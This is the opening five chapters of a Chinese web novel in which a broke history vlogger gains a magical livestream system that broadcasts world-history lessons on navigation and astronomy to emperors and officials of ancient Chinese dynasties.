《开局直播世界史》
1. 第 1 章
雁非盯着手机银行余额看了整整三分钟。
2387.6元。
这是她全部身家,房租下周到期,花呗还欠着四千五。
“雁非啊雁非,”她对着天花板自言自语,“你一个985历史系毕业生,混成这样,对得起谁?”
对得起谁不知道,但肯定对不起自己吃了四年的食堂。
事情要从三个月前说起,硕士毕业后,雁非拒绝了回老家十八线小县城公务员的提议,执意留在A城做自媒体,父母气得三个月没跟她说话,她也争气,三个月赚了——两千块。
准确说,是1963.5元。加上各种剪辑软件会员费,净亏。
“历史区UP主真的没人看吗?”她看着自己那点可怜的播放量,“明明我讲得比那些营销号专业多了啊!”
但现实就是这么残酷。她精心制作的《明朝海禁政策的深层逻辑》播放量800,同期某营销号的《慈禧太后真实长相惊呆外国人》播放量80万。
评论区的老粉说得好:“雁非啊,你讲得太正经了,大家是来听故事的,不是来上课的。”
道理她都懂,但明白与做到是两回事。
就在她考虑要不要给老妈发消息认怂时,电脑屏幕突然闪了一下。
【叮!文明直播系统绑定成功!】
雁非一愣:“什么玩意?”
【恭喜您成为文明直播系统内测用户!系统将为您提供直播平台,您的内容将面向——】
字卡顿了一下。
【——面向多个平行时空进行直播。】
【直播收益:根据观众反馈获取‘震惊值’和‘进步值’,可兑换现金及各类奖励。】
【是否开启首次直播?】
雁非盯着屏幕看了半天,然后笑了。
“现在骗术都这么高级了吗?还平行时空,我还多元宇宙呢。”
她想起前昨天确实收到过一封邮件,说什么“AI游戏内测招募”,她当时随手点了同意——反正垃圾邮件嘛,没想到是这种诈骗软件。
不过在尝试卸载几次都无用,杀毒软件也没检测出任何异常后,她直接给电脑断了网,结果发现这个游戏依旧还能运行,
此时此刻,雁非倒是被激出来了兴趣。
“难不成还是单机离线游戏?”
不知道为什么,雁非最终还是没忍住点开了游戏页面,游戏须知什么的一概不看,雁非操作了几步便点开了“系统商城”。
商城大多都是灰色,只有可怜巴巴三个可兑换物品,可是看出来是内测版本了。
种子盲盒:进步值10
知识盲盒:进步值12
现金兑换:10000震惊值=1元
看到现金兑换,雁非眼睛亮了一下,而后又唾弃自己。
反诈宣传片白看了吗?天上哪来的馅饼?
但万一呢?反正试一下又不花钱,现在断网了,应该也没啥关系吧?
“行,且看看你是什么妖魔鬼怪”
所以你看,被诈骗成功的人,大多数不是没有防范意识,可在最终却输给了侥幸心理。
【请选择直播内容模板】
雁非想了想,既然是“游戏”,那应该需要内容输出。她历史区UP主,当然选历史。
【已选择:历史科普类】
【请上传或选择素材】
雁非随手把自己剪废的《大国崛起》第一集拖了进去。
这是她前段时间做的系列,讲的是葡萄牙和西班牙怎么从小国变成海洋霸主,本来打算重新修改文案多吸引一下,现在正好拿来“测试游戏”。
【素材审核通过】
【直播间已创建】
【正在连接平行时空...】
【首次直播建议:开启实时直播,增强互动体验!】
雁非犹豫了一下。
她社恐,真的社恐,让她对着直播间互动,比让她写一万字论文还难受。
但这是游戏嘛,NPC也不是真人,雁非想了想又没那么怂了,反正又不用露脸。
【直播间已开启】
【当前观众:0】
雁非清了清嗓子:“咳咳,各位观众大家好,我是雁非。今天给大家带来的内容是一个新的系列——《大国崛起》。”
她看了眼观众数,还是0。
“没事没事,新号都这样。”她安慰自己,“就当练练手。”
然后她点开了视频。
视频是她自己配的音,配上精心剪辑的画面,从葡萄牙的地理位置讲起,说到恩里克王子的航海梦,说到迪亚士绕过好望角,说到达·伽马抵达印度。
雁非一边放一边看弹幕,依然空荡荡的。
“这游戏怕不是个单机版?”她嘀咕道,“算了,反正也就试这一回。”
视频继续放,说到葡萄牙怎么建立殖民据点,怎么垄断香料贸易,怎么从一个穷得叮当响的小国变成欧洲首富。
雁非忍不住又看了眼弹幕。
还是没动静。
“行吧。”她叹了口气,准备结束今天的“测试”。
就在这时,弹幕突然飘过一条:
【这是什么妖术?!】
雁非愣了一下,以为自己看错了。
紧接着,又飘过来几条:
【画面中会动的图是怎么回事?】
【何方妖孽在此施法?】
【陛下小心!可能有诈!】
雁非:“……”
这NPC的台词设计得还挺像那么回事?
她来了兴趣,用键盘输入回复:“各位观众别紧张,这不是妖术,是纪录片。你们看到的是历史画面,葡萄牙的航海史。”
弹幕安静了几秒。
然后炸了。
【葡萄牙是何国?在哪个州府?】
【航海?他们坐的船为何没有船桨?】
【这里面的黔首穿得好生奇怪...】
【此物可是天书?】
雁非看着满屏的各类问题,心想这游戏的NPC设定还挺讲究,各个朝代的称呼都不一样?
她决定配合一下:“这不是天书,是视频,你们可以理解成...呃...一个能记录画面的镜子。对,就是能记录历史的镜子。”
弹幕又炸了一波。
【镜子能记录画面?!】
【这不是传说中的照妖镜吗?】
【荒谬!定是妖术!】
雁非笑了。这游戏NPC的反应还挺生动,比某些大制作游戏的AI都强。
她决定继续玩下去。
【秦·咸阳宫】
嬴政今日心情不错。
刚刚批完一批奏章,正
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打算透透气,就在他刚迈出大殿时,天空上方出现一块巨大的光幕。
“护驾!”赵高第一时间挡在嬴政身前。
侍卫们拔剑,宫人们慌乱躲避,整个大殿门前乱成一团。
嬴政推开赵高,盯着那块光幕,眯起眼睛。
光幕里,一个穿着奇怪衣服的女子正在说话。
“各位观众大家好,我是雁非...”
声音清晰地从光幕中传出。
“陛下小心!”赵高急道,“此物来得诡异,恐是六国余孽的妖术!”
嬴政抬手制止他。
他盯着光幕看了许久,感觉不像装神弄鬼,而就是神鬼之术。
而且...那些画面。
画面上有海,有船,有他没见过的建筑,那些船没有桨,却能在海上航行,那些人穿着奇装异服,却做着他不理解的事情。
“去,”嬴政开口,声音平静得让人发寒,“把李斯叫来。”
很快,李斯赶到。
他也看到了光幕,脸色凝重:“陛下,臣方才在外面也看到了,不止殿内,整个咸阳城...不,恐怕整个秦国百姓都能看到。”
嬴政眉头一皱:“整个秦国?”
“是。臣刚才来的时候,路上百姓都跪地膜拜,说是天降神迹。”
嬴政沉默片刻,又看向光幕。
画面里,那些奇怪的船正在靠近一片陆地,船上的人举着武器冲下去,和当地人打斗。
“这些人是...”嬴政眯起眼,“在打仗?”
李斯认真看着:“看他们的武器,似乎不是铁器...但威力不小,陛下请看,那喷火的东西是什么?”
嬴政也看到了。
那些人手里拿着一种能喷火喷烟的武器,对面的人一碰就倒。
“有意思。”嬴政嘴角勾起一个弧度。
赵高小心翼翼地凑过来:“陛下,要不要臣派人去查查这妖物的来历?”
“查?”嬴政冷冷看他一眼,“整个秦国都能看到的神鬼之术,你从何查起?”
赵高吓得低头不敢说话。
李斯想了想,谨慎地说:“陛下,此物来得突然,臣以为不宜轻举妄动。不如先观察观察,看看这天幕到底想做什么。”
嬴政点头:“朕也是这个意思。”
他顿了顿,又道:“传令下去,宣三公九卿即刻进宫议事。”
“诺!”
嬴政又看向光幕。
那天幕中的女声正在说什么“恩里克王子”“航海学校”“地理大发现”。
“航海...”他喃喃自语,“船...也能打天下?”
李斯没敢接话。
嬴政突然笑了:“有点意思,朕统一六国,原以为已经统御天下,可这光幕说有人靠船打下国土,朕倒要看看这世上还有多少朕不知道的事。”
【震惊值+500000】
【震惊值+3000000】
【震惊值+888888】
【震惊值+10086】
【进步值+0.0001】
【进步值+0.000001】
……
【来源:秦·嬴政、李斯……】
看到后面那一连串人名,雁非觉得眼睛疼,直接在后面掉了(屏蔽具体人名,只留具体时空标记)
2. 第 2 章
【唐·贞观朝】
太极殿里,李世民正在和大臣们议事,讨论的是边境贸易的事。
“陛下,市舶之利固然可观,但若放任商人胡来,只怕有损国本!”魏征说得唾沫横飞。
李世民头疼地揉着太阳穴:“魏卿,你能不能换个说法?每次都是这句,朕耳朵都起茧了。”
魏征正要反驳,突然——
大殿上方,一道光幕凭空出现。
房玄龄第一个反应过来,高声喊道:“护驾!”
负责皇帝随侍的二十来个千牛备身,早在满朝文武反应过来前便把李世民紧紧护在中心。
与此同时正在大殿外巡护的千牛卫中郎将亦看到了天空中的光幕,而后他忍住心中惊骇疾步向已经有些慌乱的大殿走去立刻禀报。
而后整个大唐的臣民百姓陆续都发现自己无论在室内室外,似乎都可以抬头看到那神异的光幕悬在高处,能让每个人准确无误的观看到上面的内容。
光幕里,一个年轻女子正在说话,旁边还有各种奇怪的画面。
“这是什么?”已经快速稳定好惊异情绪的李世民忍不住问道。
可惜没人能回答。
长孙无忌沉思片刻凑过来:“陛下,臣听说西域有些幻术师能变出幻象,但没听说能变出这么大、还能说话的...”
“不是幻术。”魏征盯着光幕,“幻术变不出这种画面,陛下请看那些船,那些建筑,还有天幕之人的穿着...模样虽然是胡人,可却都不是我等见过的胡人。”
李世民点点头,西域胡人他见过很多,可光幕里的景象他确实没见过。
光幕里的船,又高又大,但船身两侧没有桨,这是怎么动的?
还有那些建筑,方方正正用石头垒成和他们用木头造的房子完全不同。
“有意思。”李世民来了兴趣,“莫非这世间还真有神鬼之能?”
贞观朝的文武大臣都算是见过大风大浪的,见到如此神异一幕除却最开始的慌乱惊诧,很快却又慢慢镇定下来。
这时,光幕里的女子声音再次传来:“各位观众别紧张,这不是妖术是纪录片,你们看到的是历史画面,葡萄牙的航海史。”
“葡萄牙?”李世民皱眉,“你们听说过吗?”
众人摇头,想来是西域那边某个不知名的小国。
“航海?”他又问,“这女子说的是航海?”
房玄龄点头:“听口音似乎是说这两个字,航海应该是在海上航行之意。”
李世民若有所思。
画面继续播放,那些船在海上航行,船上的人用奇怪的仪器测量太阳的位置,还有人拿着图纸研究什么。
“他们在测什么?”李世民问。
这属于专业性问题,那自然得交给专业人来回答,杜如晦进言道:“陛下,不如请太史局的人来一同观看?”
“克明是说...他们在观星?”出海与陆上行军打仗都需要懂得定方位,只不过李世民没有见过天幕之人用得那些方式与工具。
“臣有所猜测,然星象定位,天象预测这等精妙之术非臣能妄下定论。”
“是了,海上没有参照只能靠星象定位,这些光幕之人能在海上航行,必定精通天文。”李世民点点头,而后道,“宣太史令、太史承进殿议事。”
唐朝的朔望朝会一般不会有太史局的官员参与,但是因为部门比较特殊,太史局官员大多都有轮值官员等候皇帝召见。
此时的太史令还不是李淳风,而是秦王府旧人薛颐,不过薛颐一直很明确自己的定位,所以遇到这种要跟陛下解惑神迹天象问题,他很自觉的带着李淳风一起。
光幕里的画面继续变换。那面陌生旗帜之下,人群涌动,有人捧着不知名的器物献给为首之人。
李淳风是大唐天文历法研究的顶级行家,虽说名义上已经入朝为官,可他大多时候在世人眼中依旧还是个道士。
所以在简单说了一些自己对的天幕提起海上定位的猜想,同时又把自己的担忧透出了两分。
李世民若有所思:“你的意思是,他们不只是为了贸易?”
“臣斗胆猜测,”李淳风斟酌着用词,“这些人既能造如此巨舰,又能凭星象在海上定位,若只为行商,未免太过兴师动众,臣观他们每到一处便立帜筑城,倒更像是……意在长久占据。”
殿中一时安静下来。
而就在此时李淳风的担忧即刻被应验了,光幕介绍到那天葡萄牙国王同意支持航海派人往东探索,沿途建立据点,与当地贸易也传播他们的教义和文字。
“往东探索?”长孙无忌喃喃重复,“他们是要一路往东来?”
“西域极远之地往东,那不就是……”杜如晦话说一半,看向李世民。
李世民面色不变,手指却在膝上轻轻叩了两下,这是他思考时的习惯动作。
光幕中画面再变,出现了一张图,图上画着陆地与海洋,用不同颜色标注着线条,线条从葡萄牙所在之处出发,沿着海岸线一路向东,绕过一个大弯,画出一片陌生的海域。
“这是海图。”李淳风激动地上前一步,恨不得钻进光幕里看清楚,“陛下请看,这些线条应是他们走过的航线,这条海岸线,这片海域,还有这些标注……”
他话没说完,光幕忽然闪烁了一下。
画面里的女子似乎说了最后一句话,但声音变得模糊听不真切,紧接着那道光幕像来时一样突然缓缓变淡,最后彻底消失在太极殿上空。
大殿里安静了片刻,随即响起此起彼伏的议论声。
“陛下,”程咬金第一个开口,“这什么葡萄牙,离咱们有多远?他们要是一直往东走会不会走到咱们大唐来?”
李世民没答话,看向李淳风。
李淳风沉吟道:“回陛下,若按那海图上的标注,从葡萄牙到大唐,路程之远难以估量,但既然他们能造巨舰,能凭星象定位,假以时日,未必不能抵达。”
“那他们来意如何?”尉迟敬德瓮声瓮气地问,“是来贸易,还是来占地筑城?”
这个问题没人能回答。
李世民缓缓站起身,走到殿中央,抬头看着光幕消失的方向。群臣的目光都落在他身上。
良久,他开口道:“传旨,沿海州县,留意海外来船。若有形制奇特的巨舰靠岸,不许轻举妄动,速速上报。”
“还有,”他顿了顿,“太史局从今日起,多留意天象,尤其是那光幕出现时是否有异动。”
李淳风躬身
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领命。
李世民回到御座前,没有坐下,而是看着群臣:“今日之事,朕也不知是何方神圣所为。但既然让我们看见了,总不会是无缘无故。”
他目光扫过众人:“你们说,那光幕特意让我们看这些,是想告诉朕什么?”
魏征张了张嘴,罕见地没有立刻接话。
殿外,午后的阳光依旧明亮,仿佛方才的一切只是一场幻觉。但所有人都知道,那不是幻觉。
那个叫葡萄牙的遥远国度,那些能在海上航行的巨舰,那些每到一处便筑城立帜的人,已经刻在了他们的记忆里。
而太极殿的议论声,一直到日头偏西,仍未停歇。
【震惊值+300000】
【震惊值+66666】
【震惊值369000】
…
【来源:唐】
雁非关掉直播,伸了个懒腰。
播了一个多小时,累死她了。
不过效果好像不错?系统显示:
【直播时长:73分钟】
【累计震惊值:185318000】
【累计进步值:0.03】
【当前观众:不确定(跨时空统计中)】
“18538000震惊值,”雁非算着,“按兑换比例,10000:1,那就是18531.8元?”
播一个小时赚这么多?这果然是个诈骗游戏吧?
“要是真能兑换现金,我倒立洗头!”嘴上这么说着,身体却很诚实,雁非点击了商城现金兑换。
【兑换成功:震惊值清零】
【现金18531.8已转入您的账户】
雁非拿起手机一看。
银行卡到账:18531.8元。
她愣了。
真的到账了?
不是游戏币,是真钱?
她盯着手机看了半天,又看向电脑屏幕,这个电脑是剪辑视频用的,并没有链接她的私人账户信息。
而且如果她没记错,从玩游戏开始她就是断网玩的,所以这钱是怎么到账的?
“这...”雁非咽了口唾沫,“狗屎运终于轮到我了?”
她想起那些弹幕。
“此物来得诡异!”
“天降神迹!”
那些...不是NPC台词?
雁非突然觉得后背发凉。
她颤抖着手,点开了系统信息。
【文明直播系统使用说明】
【您的内容将面向多个平行时空进行直播】
【观众来自不同历史时期】
【请谨慎选择直播内容,合理引导文明发展】
雁非盯着这几行字,大脑一片空白。
平行时空?
不同历史时期?
她刚才给祖宗们直播了世界史知识?
雁非第一反应是关掉电脑,让自己冷静一下情绪,万一是她加班剪视频导致出现了幻觉呢?
要不假装什么都没发生……个屁哦!
她深吸一口气,强迫自己冷静下来。
“冷静,冷静,”她自言自语,“明天先去银行确认,如果钱没问题就看看能不能花,如果有问题就去找警察!”
3. 第 3 章
第二天清晨,睁眼到天亮的雁非再次看了第N次手机短信,
18531.8元,银行卡短信上的数字清清楚楚地躺在那里,
她掐了自己一下。
疼。
又掐了一下。
还是疼。
“绝对不是做梦……”她喃喃着站起来,在出租屋里转了两圈,又坐下来,再站起来,活像一只被踩了尾巴的猫。
手机突然震动,吓得她差点把手机扔出去。
是房东阿姨的消息:【这个月的房租该交了,记得转我哈】
雁非看着这条消息,又看看手机里的余额,突然生出一个念头——用这个钱交房租试试?
她手指发抖地点开转账界面,输入数字,输入密码,确认。
“叮”的一声。
转账成功。
三十秒后,房东阿姨的消息又来了:【收到了啊。】
雁非没回。
她把手机攥得死紧,心跳快得像打鼓。
不是幻觉。
不是假的。
这钱,真的能用。
雁非想再去一趟自助银行,得确认这钱是不是真的,能不能取出来,会不会取到一半被警察按在地上。
是真的。
她拿着钱走出自助银行,在门口站了好一会儿。
阳光有点刺眼,路上的车流人流都很正常,没人冲过来抓她,没人盯着她看,一切都和往常一样。
除了她手里的一万块钱。
发够了呆的雁非转头又把钱重新存回另外一张卡里,只留了两千现金,然后打车直奔电脑城。
她得搞清楚那个系统到底是怎么回事。
电脑城三楼,找到她大学常去的那家维修店。
老板是个四十多岁的大叔,戴着一副老花镜,修电脑修了二十年,雁非的旧电脑就是在他这儿配的。
“电脑又出问题了?”老板接过她的旧笔记本,“这次啥毛病?”
“您帮我全面检测一下,”雁非说,“特别是有没有什么未知的程序,或者病毒,或者……那种能自动运行、删不掉的东西。”
老板看了她一眼:“中病毒了?”
“我也不确定,您帮我查查吧。”
周老板把电脑接上检测设备,开始操作。屏幕上闪过一堆雁非看不懂的代码,各种检测软件轮流运行。
过了一会儿,周老板摘下眼镜转头看向雁非。
“电脑没问题啊,硬件都正常,系统也干净,没有病毒,没有木马,连流氓软件都没个,你平时用得挺仔细的。”
雁非皱眉:“您确定?有没有那种……特别隐藏的,普通检测查不出来的?”
周老板笑了:“我干这行二十年了,什么病毒没见过?你这电脑干净得很,要是不放心,我给你重装个系统?”
“你没看到什么游戏或者直播软件吗?”雁非这个电脑用来工作,所以一直很爱惜,并没有装任何游戏软件,除了昨晚突然自己蹦出来这个。
“没有啊。”老板显然没看到什么软件,在他眼里这台电脑除了内存条不太够用了,其余啥毛病没有。
“重装系统能把所有东西都清掉吗?”
“那当然,硬盘全格式化,系统重装,保证啥都不剩。”老板顿了顿,“电脑里你没有怕丢的资料吧?”
“没事,我都有备份。”雁非语气带着一点迟疑,但最终还是道,“那您帮我重装吧。”
如果真是什么神奇系统,那应该不怕杀毒,如果是诈骗手段,那么她就当发了笔骗子的横财。
又等了一个小时,系统重装完成,老板把电脑递给她:“行了,跟新买的一样。回去自己装软件吧。”
雁非用现金付了钱,抱着电脑回家。
到家后,她打开电脑,连上网,正准备下载浏览器——屏幕上突然弹出一个窗口。
【直播系统正在同步……】
【同步完成】
【欢迎回来,主播】
雁非的手僵在鼠标上。
系统重装过了。
硬盘格式化了。
什么都没装。
它真的还在,而且似乎只有她一个人能看到!
她盯着那个熟悉的界面,看着上面显示的【累计震惊值:0】【累计进步值:0.03】,突然有一种不真实的感觉。
这东西,是绑定的原理到底是什么,是这台电脑还是她本身?
同时她又想起那些弹幕,那些来自“不同历史时期”的观众,那些震惊值,那些可以兑换的现金……
雁非深吸一口气坐在椅子上,盯着电脑屏幕上的系统界面,开始认真思考一个严肃的问题——
如果这不是诈骗,不是病毒,不是幻觉,那它到底是什么?
她点开系统帮助文档,一个字一个字地读。
【文明直播系统使用说明】
【本系统旨在连接不同时空,促进文明交流与进步】
【主播可通过直播向多个平行时空的观众展示内容,获取震惊值】
【震惊值可用于兑换现金、技能、道具等】
【进步值用于衡量主播对文明发展的贡献,达到一定数值可解锁新功能】
【请谨慎选择直播内容,合理引导文明发展,避免造成时空紊乱或者不可预估文明历史倒退】
雁非读完,沉默了很久。
“避免造成时空紊乱?还能造成文明倒退。”
她想起昨天的直播——她给古人播了葡萄牙航海史,就算无法促进社会进步,咋还能倒退?
难不成那些世界随意改变会影响自己这个世界的历史进程?
雁非打了个寒颤。
自己昨天干了什么?她给古代王朝的皇帝们直播了未来世界的航海扩张史?这算不算剧透?会不会改变历史?
不对,系统说的是“平行时空”。
那就是说,不是同一个世界,而是无数个平行世界?
雁非揉了揉太阳穴,觉得自己需要更多信息。
她点开系统设置,发现有一个【历史直播记录】的选项。点进去,能看到昨天那场直播的详细信息。
【直播主题:葡萄牙航海史(解说版)】
【观众来源:唐(贞观年间)、宋(元丰年间)、明(永乐年间)、清(康熙年间)等】
【观众反馈:已生成报告】
雁非点开报告,看到了一串数据。
【唐·贞观年间】
观众数量:约3000万(估算)
平均震惊值:
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较高
主要关注点:航海技术、巨舰构造、海外扩张意图
关键反馈:李世民下令沿海州县留意海外来船;太史局开始关注天象异动;李淳风对海上定位技术表现出浓厚兴趣
【宋·元丰年间】
观众数量:约5000万(估算)
平均震惊值:较高
主要关注点:市舶之利、航海贸易、海外据点
关键反馈:神宗皇帝连夜召见市舶司官员;苏轼写诗一首感叹“海客谈瀛洲,烟涛微茫信难求”;泉州商人开始打听“佛郎机”为何物
【明·永乐年间】
观众数量:约4000万(估算)
平均震惊值:中等
主要关注点:航海技术、郑和下西洋的比较
关键反馈:朱棣召见郑和,询问“我们的宝船比他们的如何”;郑和表示“臣当亲往探之”;部分官员对“佛郎机”的扩张意图表示警惕
【清·康熙年间】
观众数量:约3500万(估算)
平均震惊值:中等
主要关注点:西学东渐、海外扩张
关键反馈:康熙召见南怀仁等传教士,询问葡萄牙情况;南怀仁表示“此乃百年前之事”;康熙下令加强沿海防务;部分大臣提出“闭关锁国以防不测”的建议
雁非看完,整个人都麻了。
四个朝代。
上亿观众。
她一个普通剪辑师,昨天晚上给上亿古人直播了?
而且那些古人还在认真讨论?
她想象了一下那个画面——李世民坐在太极殿里,一群大臣围着光幕讨论葡萄牙的航海技术;朱棣把郑和叫来,问“咱们的宝船比他们的怎么样”;康熙听传教士说“这是百年前的事”时的表情……
突然有点想笑。
但很快笑不出来了。
因为她看到了报告最后的一句话:
【温馨提示:部分观众对直播内容反应强烈,可能会对其所在时空的文明发展产生一定影响。请主播后续直播时注意内容选择,合理引导。】
雁非沉默了。
她好像,摊上大事了。
接下来的两天,雁非没敢直播。
除了随时查看银行卡短信,随时关注国家反诈app有啥动静她写文案写文案,该剪视频剪视频,该吃吃该喝喝,假装什么都没发生。
同时每天她都会打开那个系统,研究它的各种功能进行研究,
系统里有很多选项:
【直播设置】——可以选择直播主题、时长、面向的时空范围。
【商城】——可以用震惊值兑换现金、技能、道具。
【进步值排行榜】——显示她的进步值0.03,以及一个模糊的排名信息“新晋主播排名:第1847位”
【观众留言板】——可以看到观众发来的消息
雁非点开留言板,看到了密密麻麻的留言。
来自唐·贞观年间:
【房玄龄:敢问上仙,那葡萄牙的航海之术,可否传授于我等?】
【李淳风:海上定位之法,令人神往。若能得一观其详,愿以毕生所学相换。】
【程咬金:那船到底咋动的?没桨也能走?】
4. 第 4 章
雁非盯着屏幕上那条程咬金的留言,陷入沉思。
【那船到底咋动的?没桨也能走?】
朴实无华,直击灵魂,来自唐朝的宿国公对葡萄牙帆船的驱动原理表示极度困惑,这也跟他不通海事有关。
雁非脑补了一下程咬金站在海边,看着一艘帆船飘过去的场景。
大概是这样的——老程瞪大眼睛,挠着头,转头问旁边的人:“那玩意儿是不是中邪了?我瞅着它也没划拉啊?”
她忍不住笑出声,这位三板斧将军的思维模式,还真是可爱得直接。
行,先回这条,简单安全不涉及敏感内容。
她打字回复:【那叫风帆动力,利用风力推动船只前进。船帆可以调整角度,不同风向都能利用。现代还有蒸汽动力、核动力,不过那是后来的事了。】
发送。
系统提示:【回复已送达,因跨时空通信消耗较大,每条回复需消耗100震惊值,您的当前震惊值为0,请先获取震惊值。】
雁非:“……”
沉默。
漫长的沉默。
“所以我现在连回条消息都要赊账?”她对着屏幕幽幽地说,“震惊值没有,震惊倒是挺震惊的。”
她看了一眼商城,震惊值兑换现金是10000:1,也就是说,她辛辛苦苦让一万人震惊,才能赚一块钱。但现在回复一条消息就要100震惊值——相当于一毛钱。
一毛钱一条跨时空短信,好像……也不是很贵?
但问题是,她现在一毛都没有。
“行吧,”雁非揉了揉脸,把程咬金那张困惑的脸从脑海里赶走,“那还是先直播,赚点震惊值再说。”
她开始琢磨第二次直播的主题。
第一次直播讲的是葡萄牙航海史,效果还行,但那些古人问的问题明显更“实用”——沈括想看船帆构造,泉州商人想问佛郎机人的生意,郑和想请教葡萄牙船的精妙之处,李三至直接问火器兵力。
全是硬核技术问题。
雁非一个纯文科生,看到这些问题只想躺平装死,她甚至能想象自己硬着头皮讲解船帆结构时,被沈括一个细节问得哑口无言的场景——那画面太美,她不敢看。
但办法总比困难多。
她打开电脑,开始搜索资料。先搜“古代航海定位技术”,出来一堆专业术语:六分仪、经度测定、球面三角学、天文导航……她看着看着就开始眼神涣散。
“我是谁?我在哪?我在干什么?”
雁非瘫在椅子上,盯着天花板。
十分钟后,她坐起来,换了个思路——不讲具体技术、讲原理,不讲怎么造、讲为什么,不讲怎么做、讲怎么想。
比如海上定位,核心问题是什么?
是“我在哪”,怎么知道“我在哪”?
看天,怎么看天?
观察星星和太阳的位置,为什么观察这些就能知道位置?
因为地球是圆的。
好,那就从“地理大发现”这段历史开始切入,上期刚好提过,这一次要将世界科学史融入多一些。
这一段历史时期的知识点,任何朝代某些特定人才应该都能听。
雁非决定做一个系列:基础历史知识小课堂。
第一期算是葡萄牙与西班牙篇的番外,把里面有关涉及的天文与数学还有航海知识,进行有效讲解与归纳(尽雁非可能,要是真被她带沟里去,大不了回头再亲自捞出来。)
查了一周的资料,做了三十页PPT,写了五千字讲稿,虽然里面可能有一半是雁非自己也没完全搞懂的东西。
但没关系,她会念。
只要念得足够自信,看起来就像真的懂。
周末,雁非睡到自然醒,吃了顿饱饭,打开电脑,深吸一口气。
【直播主题:基础天文与数学——对世界历史发展进程的重要影响】
【直播时长:60分钟】
【面向时空:多位面时空】
确认。
【直播开始】
【连接中……】
【连接成功】
【当前观众数量:正在统计……】
100万……
500万……
1000万……
3000万……
5000万……
7800万。
雁非咽了口唾沫。
七八千万人在看她的直播。
她感觉自己的手有点抖。社恐属性开始疯狂刷存在感:快跑,快关掉,这么多人看着你你万一说错话怎么办——万一有人说你讲得不对怎么办——万一有人问到你不会的问题怎么办——
但她看了一眼留言板。
【上仙终于开讲了!我已备好笔墨,准备记录!】
【这都一旬了,终于又出现了!】
【恭候多时。】
【那船到底咋动的???】
雁非忽然就不紧张了,只是有些尴尬得想抠脚。
这些人是真的在等、真的想听,真的把她当成能答疑解惑的“上仙”!??
她清了清嗓子,开始道:“大家好,我是雁非,上一期我们聊了葡萄牙航海史,很多观众提出了疑问——今天的直播主播将会就大家比较感兴趣的点进行讲解。”
她切换画面,展示一张星空图。
“大航海时代,航海家们能在茫茫大海上找到方向,靠的不是运气是科学,你们看到的这些星星其实都是有规律的,古人通过观察星星的位置变化,可以判断季节、方向、时间。比如北极星,永远指向北方——”
留言板开始滚动。
【北极星确实指向正北,但如何精确测量其高度角?】
雁非看到这条,心里默默感谢自己查了资料,这题她好像会!
“这个问题问得好,测量星星的高度角,可以用一种叫‘象限仪’的工具,原理是利用铅垂线和刻度盘。但更精确的方法,需要用到三角学——这个我们后面会讲。”
她继续往下讲,从“天圆地方”讲到“地球是圆的”这个概念的由来,讲到古希腊人埃拉托色尼如何测量地球周长,讲到经纬度的划分,讲到如何通过测量太阳正午高度判断纬度。
【有趣,若以北极星高
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度确定纬度,需考虑北极星并非正对地轴?】
这问题是沈括问的,在历史上留有姓名且知名度较高的古人都能被雁非看到名字。
雁非看到这条,愣了一下,沈括这是……在指出北极星并不完全对准北极点?
她有些“学艺不精”的心虚,这位北宋全才是来砸场子的吗?
赶紧回忆自己查过的资料:“沈先生说得对,北极星并不完全在北极点上,它其实离真正的北极点有大约0.7度的偏差,但古代航海可以用它作为近似参考,后来有了更精确的测量方法,这个问题就解决了。”
【沈括:原来如此,多谢上仙解惑。】
雁非松了口气,这届古人太难带了,一个个问的问题比她备课的内容还深入,她擦了擦额头上并不存在的汗,继续讲。
她切换PPT,开始讲数学。
“航海定位需要计算,计算就需要数学。古代数学家发明了三角学,用来解决各种测量问题——比如已知三角形的几个角和一条边,求另外两条边。这在测量距离时非常有用。”
【这……能用来算账吗?】
雁非笑了:“能,三角学不仅能算距离,也能算利润。不过如果你只是想算账,加减乘除就够了。三角学是用来算更复杂的东西的——比如你的船离海岸有多远。”
她开始举例子:“假设你在海上,看到岸边有一座灯塔,你测量灯塔和你的视线之间的角度,然后船往前走一段距离,再测一次角度。有了这两个角度和船走的距离,用三角学就能算出船离灯塔有多远。”
【郑和:此法精妙!若能有更精确的角度测量工具,海上定位将更为准确。】
【郑和:如此说来,我下西洋时若能掌握此法,或可少走许多弯路。】
雁非看着这些留言,忽然有点感动。
这些人是真的在认真思考,真的在试图理解这些知识,真的想把它们用在实处。
真是一群迷人的老祖宗。
直播进行到第四十分钟,雁非开始讲“地球是圆的”这个事实对世界航海历史的影响。
“如果地球是平的,你一直往一个方向走,最终会走到边缘——但地球是圆的,所以你一直往一个方向走,最终会回到原点。”
【程咬金:啥???】
雁非看到这条,忍不住笑出声:“是真的哦,在整个人类的历史上有人就做到了——他叫麦哲伦,虽然他自己没能活着回来,但他的船队完成了环球航行,证明了地球确实是圆的。”
【……那我们怎么没掉到天上去?】
“不会,因为有地心引力,把人牢牢吸在地面上,就算你在南半球,头朝下脚朝上,也不会掉下去——因为对你来说,你的‘下’就是指向地心的方向,而对你脚下的人来说,你才是头朝下的那个。”
【……】
【上仙,我脑子有点乱。】
雁非笑着安慰:“没关系,这个概念确实不太好理解。是,”
“你们可以这样想:不管你在哪里,你站的地方就是‘下’,头顶就是‘上’,所以对每个人来说,他们都觉得自己是头朝上的。”
5. 第 5 章
大秦·咸阳宫
嬴政坐在章台宫正殿的御座上,一手按着腰间的天问剑,一手紧紧攥着扶手。
天幕刚出现时,嬴政虽然惊讶却并没有真正感觉到什么威胁,对于天幕所讲的什么“西班牙葡萄牙很是感兴趣”,作为一个帝王他清楚这意味着机遇。
可惜第一次天幕出现的时间不算很长,所讲内容似乎也不够详细,大多数令他感兴趣的东西都听得云里雾里。
今天是天幕第二次出现,原本他是高兴的,可是很快他就高兴不起来了。
倒不是因为第二次天幕讲的内容显得更难让人听懂,而是第一次天幕结束时每个人面前都出现了一个“留言板”,那时候他跟文武百官就发现可以通过这个“留言板”,可以把对于天幕所说内容的最迫切的想法用意念发送上去。
当然不是无限制发送,天幕第一次结束时他们每个人只能发一次,第二次天幕出现时,他便发现似乎可以发送的次数多了很多,但是第二次天幕内容他与李斯他们实在是没怎么听明白多少,也就没有那种迫切的想问问题的意念。
听不明白“天书”原本也没什么,世间万物本来就有无数玄奥,可是当他看到留言板滚动的弹幕,那些后面自带的朝代标签,还有那些人对天幕讲解内容的理解与疑问。
这些似乎都在告诉他一个事实:他大秦朝廷里最顶尖的有能之士都还未懂得的学问,有很多其他人懂,而这些人不属于大秦!
丞相王绾、御史大夫冯劫、廷尉李斯,以及一众博士、方士,全部跪坐在殿中,仰望着头顶那方巨大的光幕。
